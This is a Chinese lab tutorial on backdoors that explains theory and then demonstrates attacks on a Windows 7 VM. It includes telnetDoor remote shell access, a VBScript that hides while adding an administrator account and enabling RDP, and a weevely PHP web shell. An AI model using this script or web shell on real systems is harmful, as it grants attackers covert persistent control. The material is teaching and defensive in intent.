后門


一、實驗目的

  1. 理解后門的定義與分類

  2. 掌握后門的操作

  3. 學會防范后門

二、實驗環境

  1. 系統環境:Windows環境,kail環境

  2. 軟件工具:telnetDoor,weevely

三、實驗原理

1. 后門的定義

最早的后門是由系統開發人員為自己留下入口而安裝的,而今天,並非開發人員將后門裝入自己設計的程序中,而是大多數攻擊者將后門裝入他人開發和維護的系統中。通過使用這樣的后門,攻擊者可以很輕松地獲得系統的訪問權,進而獲得系統的控制權。為了更加明確,我們給出后門的以下定義:

后門是一個允許攻擊者繞過系統中常規安全控制機制的程序,它按照攻擊者自己的意願.提供通道

有許多不同類型的后門,但每種都可以繞過系統的常規性安全檢測,使得攻擊者獲得進入系統的入口。例如:一個普通的用戶可能不得不輸入一個口令,這個口令每90天會變換一次。而有了后門,攻擊者可以用一個固定的口令而無需變換

有了植入系統的后門,攻擊者可能根本不需要提供任何口令就可以登錄到計算機。普通用戶可能被迫使用某個特別的加密協議訪問計算機,而攻擊者可以利用后門訪問那些使用完全不同協議的計算機。一旦安裝了后門,攻擊者如何訪問該邏輯單元完全取決於攻擊者自己。

許多人用特洛伊木馬或者簡單地用特洛伊來形容每個后門,這種將術語“后門”和特洛伊木馬混淆的做法是非常錯誤的,應該盡量避免。后門只是簡單地提供通道,而特洛伊木馬將自己偽裝成某個有用的程序,或者干脆將自己隱藏起來,不要將這些概念混為一談。如果一個程序僅提供后門通道,那么它只是一個后門;如果可以偽裝成一個有用的程序,那么它便是特洛伊木馬。當然,有的工具可以同時是后門和特洛伊木馬。但是,只有當攻擊者企圖將后門偽裝成某個有用程序時,它才可以稱為“特洛伊木馬”。我們用特洛伊木馬后門這一不太明確的概念定義這種工具,因為它們偽裝成某個友善的程序同時還提供訪問通道,利用這一完全定義將有助於人們理解后門與木馬的區別

2. 不同類型的后門通道

正如我們在前面定義中看到的一樣,后門的作用在於為攻擊者進入目標計算機提供通道。這個通道可能表現為不同形式,它取決於攻擊者的目的和所使用的特定后門類型。后門能夠為攻擊者提供許多種不同類型的訪問,包括以下幾種:
本地權限的提升:這類后門使得對系統有訪問權的攻擊者突然變換其權限等級成為管理員,有了這些超級用戶權限,攻擊者可以重新設置系統或訪問任何存儲在系統中的文件
單個命令的遠程執行:利用這種類型的后門,攻擊者可以向目標計算機發送消息。每次執行一個單獨的命令,后門執行攻擊者的命令並將其輸出返回給攻擊者

遠程命令行解釋器訪問:正如我們所知的遠程 shell命令,這種類型的后門允許攻擊者通過網絡快遞直接地鍵入受害計算機的命令提示。攻擊者可以利用命令行解釋器的所有特征,包括執行一個命令集合的能力編寫腳本,選擇一些文件進行操作。遠程 shell比簡單的單命令遠程執行要強大得多,因為它們可以模擬攻擊者對目標計算機的鍵盤有直接訪問權的情形

遠程控制Gul (RemoteControloftheGul):比將命令行解釋器弄混亂更甚,有些后門可以讓攻擊者看到目標計算機的GUI,控制鼠標的移動,輸入對鍵盤的操作,這些都是通過網絡實現的。有了對GUI的遠程控制,攻擊者可以看到受害者對計算機的所有操作,甚至遠程控制GUI

無論后門提供何種類型的訪問,我們都會發現這些方法的重點在於控制。后門使得攻擊者控制計算機,這一切通常是通過網絡遠程實現的。有了裝入目標計算機的后門,攻擊者可以利用這種控制搜索計算機中的易感染文件,改變存儲在系統中的任何數據,改裝計算機,甚至使系統癱瘓。利用后門,攻擊者可以像受害者計算機本身的管理員一樣對其進行同樣的控制。更有甚者,攻擊者可以通過Internet在世界的任何地方實現該控制

攻擊者可以自己植入后門,通過某種普通的開發技術擁有系統的初始入口,例如緩沖區溢出或者典型的系統錯誤配置。一旦攻擊者闖入一個目標計算機,通常要做的第一件事就是裝入后門,從容地返回到受害系統

另外,攻擊者也可以利用一個自動化的程序安裝后門,例如病毒、蠕蟲和惡意移動代碼。通過它們攻擊者可以探查到通向目標計算機系統的通道並打開一個后門,為攻擊者提供對系統的完全控制

安裝后門的最后一種方法是欺騙受害者自己安裝,攻擊者可能會通過E-mail向受害者發

一個程序或者利用遠程文件共享能力將這樣的程序寫入受害者的硬盤。如果攻擊者可以利用某個看似不錯的程序騙得用戶的信任,他們可能上當將后門裝入自己的計算機。這些用戶很少會意識到安裝了攻擊者的惡意代碼,他們已經為攻擊者提供了對其計算機的完全控制

后門是在安裝了后門程序的用戶或攻擊者允許的前提下運行的,注意到這一點非常重要。如果一個攻擊者在目標系統中獲得超級用戶權限,攻擊者安裝的后門將以這些強有力的權限運行。類似地,如果攻擊者只能欺騙具有有限權限的低級用戶安裝后門,攻擊者對於該目標計算機而言,也就只有這個用戶所擁有的有限權限。因此,后門為攻擊者提供的對該系統的控制取決於安裝該后門用戶的權限等級

四、實驗步驟

1. 遠程控制工具telnetDoor

在Windows7虛擬機cmd命令控制台輸入netstat -ano命令,觀察端口9527並沒有被開啟。如下如所示:

雙擊運行實驗文件夾中的telnetDoor.exe 運行程序,將后門植入計算機,如下圖所示:

cmd命令控制台再次輸入netstat -ano命令,可以觀察到端口9527已經開啟即后門成功植入並運行,如下圖所示:

在本地電腦中,打開cmd命令操作界面,輸入telnet 192.168.70.133 9527,如下圖所示:

按下回車,開始遠程控制目標計算機。(可以對目標計算機進行任意命令行操作,例如查看目錄文件、查看ARP緩存表和查看進程列表等等),如下圖所示:


此時我們已經可以遠程操作Windows7,接下來我們編寫一個后門程序使計算機自動添加一個用戶,方便我們后期隨時可以遠程到Windows7虛擬機上,代碼如下:

dim wshell
set wshell=createobject("wscript.shell")
wshell.run"cmd /c net user backdoor houmen /add",vbhide
wshell.run"cmd /c net localgroup administrators backdoor /add",vbhide
wshell.RegWrite "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections",0,"REG_DWORD"
set wshell=nothing
wscript.quit

將上面代碼復制到.txt文件后保存為system2.vbs可執行文件,如下圖所示:

雙擊執行system2.vbs程序,打開cmd輸入netstat -ano 查看程序是否正常執行了,如下圖所示:

執行前:

執行后:系統自動開啟了3389遠程端口

系統自動添加了一個backdoor用戶,如下圖所示:(此時說明我們編寫的后門代碼已經執行成功了)

接下來我們開始驗證是否能正常遠程到Windows7虛擬機上,在本地主機上使用mstsc命令點擊確定進行遠程連接Windows7虛擬機,如下圖所示:

在遠程桌面連接內輸入Windows7的IP地址192.168.70.133點擊連接,如下圖所示:

然后輸入剛剛我們在system2.vbs程序留的后門用戶名和密碼點擊確定,如下圖所示:


此時我們已經成功使用遠程桌面連接到了Windows7虛擬機上

2. 使用kali中的中國菜刀weevely工具

在Windows7虛擬機上搭建服務器,開啟wamp服務器功能

開啟kali的weevely功能命令:weevely generate admin /tmp/shell.php//生成一個名為shell.php的后門文件,密碼是admin,如下圖所示:

把生成的文件shell.php通過任何手段將它復制到Windows7虛擬機中的網站根目錄C:\wamp\www下,如下圖所示:

返回到kali中進行命令連接Windows7,命令:weevely http://192.168.70.133/shell.php admin ,如下圖所示:

在終端中使用system_info命令遠程查看Windows7虛擬機的系統信息,如下圖所示:


此時我們已經全部完成攻擊!

五、后門攻擊防范

首先要關閉本機不用的端口或只允許指定的端口訪問;其次要使用專殺木馬的軟件,為了有效地防范木馬后門;第三是要學會對進程操作,時時注意系統運行狀況,看看是否有一些不明進程正運行並及時地將不明進程終止掉。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM